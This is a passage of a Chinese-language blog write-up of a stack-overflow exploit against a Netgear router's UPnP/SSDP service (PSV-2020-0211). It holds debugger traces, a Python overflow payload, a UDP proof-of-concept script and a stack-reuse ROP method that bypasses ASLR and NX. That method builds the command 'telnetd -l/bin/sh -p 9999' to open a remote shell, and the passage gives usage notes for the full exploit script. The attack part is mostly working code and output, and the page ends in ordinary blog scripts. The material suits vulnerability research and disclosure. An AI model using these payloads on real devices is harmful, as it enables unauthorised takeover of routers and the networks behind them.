<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">gef➤ b *0x00025F40</span><br><span class="line">Breakpoint 1 at 0x25f40</span><br><span class="line"></span><br><span class="line">.text:00025F40 ADD SP, SP, #0x234</span><br><span class="line">.text:00025F44 ADD SP, SP, #0x400</span><br><span class="line">.text:00025F48 LDMFD SP!, &#123;R4-R11,PC&#125;</span><br><span class="line"></span><br><span class="line">**.****text****:****0003E9DC** **** LDR R0, =aReboot_0 ; &quot;reboot&quot;</span><br><span class="line">.text:0003E9E0 BL system</span><br><span class="line"></span><br><span class="line">**payload如下：**</span><br><span class="line">payload = (</span><br><span class="line"> 0x604 * b&apos;a&apos; + # dummy</span><br><span class="line"> p32(0x76d9d450) + # v41</span><br><span class="line"> (0x634 - 0x604 - 8) * b&apos;a&apos; + # dummy</span><br><span class="line"> p32(0x0003E9DC) # system(reboot)</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">**固件模拟日志：**</span><br><span class="line">ssdp_http_method_check(203):</span><br><span class="line">ssdp_http_method_check(231):Http message error</span><br><span class="line">Detaching from process 3477</span><br><span class="line">rmmod: dhd.ko: No such file or directory</span><br><span class="line">**reboot: rmmod dhd failed: No such file or directory**</span><br><span class="line">**[0x0003e9e4] system(&apos;reboot&apos;) = 0**</span><br></pre></td></tr></table></figure>
<p>综合目前的情况：</p>
<ol>
<li>目前可以控制<code>R4 - R11</code> 以及 <code>PC(R15)</code>寄存器</li>
<li>开了 NX 不能用在栈上布置<code>shellcode</code>。</li>
<li>有 ASLR，不能泄漏地址，不能使用各种 LIB 库中的符号和 <code>gadget</code>。</li>
<li><code>strcpy()</code> 函数导致的溢出，payload 中不能包含 <code>\x00</code> 字符。</li>
</ol>
<h2 id="0x05-漏洞利用"><a href="#0x05-漏洞利用" class="headerlink" title="0x05 漏洞利用"></a>0x05 漏洞利用</h2><p>路由器已启用ASLR缓解功能，我们可以使用ROP攻击绕过该功能。但是，我们通过使用对NULL字节敏感的<strong>strcpy</strong>来执行复制调用，这反过来又会阻止我们使用ROP攻击。因此，要利用包含NULL字节的地址，我们将需要使用堆栈重用攻击。即想办法提前将 ROP payload 注入目标内存。（<code>stack reuse</code>）<br>注意到recvfrom函数在接收 socket 数据时 buffer 未初始化，利用内存未初始化问题，我们可以向sub_1D020的堆栈中布置gadgets。构造如下 PoC，每个 payload 前添加 <code>\x00</code> 防止程序崩溃（strcpy遇到\x00截断，不会拷贝后面部分）。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/python3</span><br><span class="line"></span><br><span class="line">import socket</span><br><span class="line">import struct</span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line">s.connect((&apos;192.168.2.2&apos;, 1900))</span><br><span class="line">s.send(b&apos;\x00&apos; + b&apos;A&apos; * 0x1ff0)</span><br><span class="line">s.send(b&apos;\x00&apos; + b&apos;B&apos; * 0x633)</span><br><span class="line">s.close()</span><br></pre></td></tr></table></figure>
<p>在strcpy下断点调试，并检查栈区内存</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">gef➤ info b</span><br><span class="line">Num Type Disp Enb Address What</span><br><span class="line">1 breakpoint keep y 0x76dd6e48 &lt;recvfrom+4&gt;</span><br><span class="line">2 breakpoint keep y 0x76dc350c &lt;strcpy+4&gt;</span><br><span class="line">4 breakpoint keep y 0x00025e70</span><br><span class="line">5 breakpoint keep y 0x00025e74</span><br><span class="line">gef➤ search-pattern BBBB</span><br><span class="line">[+] Searching &apos;BBBB&apos; in memory</span><br><span class="line">[+] In &apos;/lib/libc.so.0&apos;(0x76d85000-0x76dea000), permission=r-x</span><br><span class="line"> 0x76de17e4 - 0x76de17e8 → &quot;BBBB[...]&quot;</span><br><span class="line"> 0x76de1ecc - 0x76de1edb → &quot;BBBBBBBBCCCCCCC&quot;</span><br><span class="line"> 0x76de1ed0 - 0x76de1edb → &quot;BBBBCCCCCCC&quot;</span><br><span class="line">[+] In &apos;[stack]&apos;(0x7eb36000-0x7eb6f000), permission=rw-</span><br><span class="line"> **0x7eb6cc75** - 0x7eb6ccac → &quot;BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]&quot;</span><br><span class="line"> 0x7eb6cc79 - 0x7eb6ccb0 → &quot;BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]&quot;</span><br><span class="line"> 0x7eb6cc7d - 0x7eb6ccb4 → &quot;BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]&quot;</span><br><span class="line"> 0x7eb6cc81 - 0x7eb6ccb8 → &quot;BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]&quot;</span><br><span class="line"> 0x7eb6cc85 - 0x7eb6ccbc → &quot;BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]&quot;</span><br><span class="line">gef➤ x/s 0x7eb6cc75</span><br><span class="line">0x7eb6cc75: &apos;B&apos; &lt;repeats 1587 times&gt;</span><br><span class="line">gef➤ x/s 0x7eb6cc75+1588</span><br><span class="line">0x7eb6d2a9: &apos;A&apos; &lt;repeats 6588 times&gt;</span><br></pre></td></tr></table></figure>
<p>此时程序上下文为</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line">gef➤ context</span><br><span class="line">[ Legend: Modified register | Code | Heap | Stack | String ]</span><br><span class="line">───────────────────────────────────────────────────────────────────────────────────────────── registers ────</span><br><span class="line">$r0 : 0x7eb6c5fc → 0x00000000</span><br><span class="line">**$r1 : 0x7eb6cc74** → 0x42424200</span><br><span class="line">$r2 : 0x1d </span><br><span class="line">$r3 : 0x7eb6c5fc → 0x00000000</span><br><span class="line">**$r4 : 0x7eb6cc74** → 0x42424200</span><br><span class="line">$r5 : 0x0000cf02 → blx 0x10c6586</span><br><span class="line">$r6 : 0x7eb6ecf4 → &quot;192.168.2.1&quot;</span><br><span class="line">$r7 : 0x7eb6cc00 → 0x7eb6c5fc → 0x00000000</span><br><span class="line">$r8 : 0x7eb6cc04 → 0x76f10020 → 0x00000000</span><br><span class="line">$r9 : 0x3eaf </span><br><span class="line">$r10 : 0x1 </span><br><span class="line">$r11 : 0x000c4584 → 0x00000005</span><br><span class="line">$r12 : 0x00055450 → 0x76dc3508 → &lt;strcpy+0&gt; mov r3, r0</span><br><span class="line">$sp : 0x7eb6c5d8 → &quot;nnection:1&quot;</span><br><span class="line">$lr : 0x00025e74 → mov r0, r7</span><br><span class="line">$pc : 0x76dc350c → &lt;strcpy+4&gt; ldrb r2, [r1], #1</span><br><span class="line">$cpsr: [NEGATIVE zero carry overflow interrupt fast thumb]</span><br><span class="line">───────────────────────────────────────────────────────────────────────────────────────────────── stack ────</span><br><span class="line">0x7eb6c5d8│+0x0000: &quot;nnection:1&quot; ← $sp</span><br><span class="line">0x7eb6c5dc│+0x0004: &quot;tion:1&quot;</span><br><span class="line">0x7eb6c5e0│+0x0008: 0x0000313a (&quot;:1&quot;?)</span><br><span class="line">0x7eb6c5e4│+0x000c: 0x00000000</span><br><span class="line">0x7eb6c5e8│+0x0010: 0x00000000</span><br><span class="line">0x7eb6c5ec│+0x0014: 0x00000000</span><br><span class="line">0x7eb6c5f0│+0x0018: 0x00000000</span><br><span class="line">0x7eb6c5f4│+0x001c: 0x00000000</span><br><span class="lin
<p>由于接收 socket 数据的 buffer 未初始化，在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间，也足以给 ROP 的 payload 一片容身之地。</p>
<p>使用 <code>strcpy</code> 调用在 bss 上拼接出命令字符串 <code>telnetd\x20-l/bin/sh\x20-p\x209999\x20&amp;\x20\x00</code>，并调整 R0 指向这段内存，然后跳转 <code>system</code> 执行即可。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_26.png" alt></p>
<h2 id="0x06-脚本使用说明"><a href="#0x06-脚本使用说明" class="headerlink" title="0x06 脚本使用说明"></a><strong>0x06 脚本使用说明</strong></h2><table>
<thead>
<tr>
<th>脚本帮助：</th>
<th>usage: python2 PSV-2020-0211.py 【路由器IP】 【任意libc有效地址】</th>
</tr>
</thead>
<tbody>
<tr>
<td>真实利用：</td>
<td>IP:192.168.2.2 Port:upnp/1900</td>
</tr>
<tr>
<td></td>
<td><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083779/netgear/image_27.png" alt></td>
</tr>
</tbody>
</table>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class
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var title = $visitors.attr('data-flag-title').trim();
var query = new AV.Query(Counter);
query.equalTo("url", url);
query.find({
success: function(results) {
if (results.length > 0) {
var counter = results[0];
counter.fetchWhenSave(true);
counter.increment("time");
counter.save(null, {
success: function(counter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(counter.get('time'));
},
error: function(counter, error) {
console.log('Failed to save Visitor num, with error message: ' + error.message);
}
});
} else {
var newcounter = new Counter();
/* Set ACL */
var acl = new AV.ACL();
acl.setPublicReadAccess(true);
acl.setPublicWriteAccess(true);
newcounter.setACL(acl);
/* End Set ACL */
newcounter.set("title", title);
newcounter.set("url", url);
newcounter.set("time", 1);
newcounter.save(null, {
success: function(newcounter) {
var $element = $(document.getElementById(url));
$element.find('.leancloud-visitors-count').text(newcounter.get('time'));
},
error: function(newcounter, error) {
console.log('Failed to create');
}
});
}
},
error: function(error) {
console.log('Error:' + error.code + " " + error.message);
}
});
}
$(function() {
var Counter = AV.Object.extend("Counter");
if ($('.leancloud_visitors').length == 1) {
addCount(Counter);
} else if ($('.post-title-link').length > 1) {
showTime(Counter);
}
});
</script>
<script>
(function(){
var bp = document.createElement('script');
var curProtocol = window.location.protocol.split(':')[0];
if (curProtocol === 'https') {
bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
}
else {
bp.src = 'http://push.zhanzhang.baidu.com/push.js';
}
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
})();
</script>
</body>
</html>
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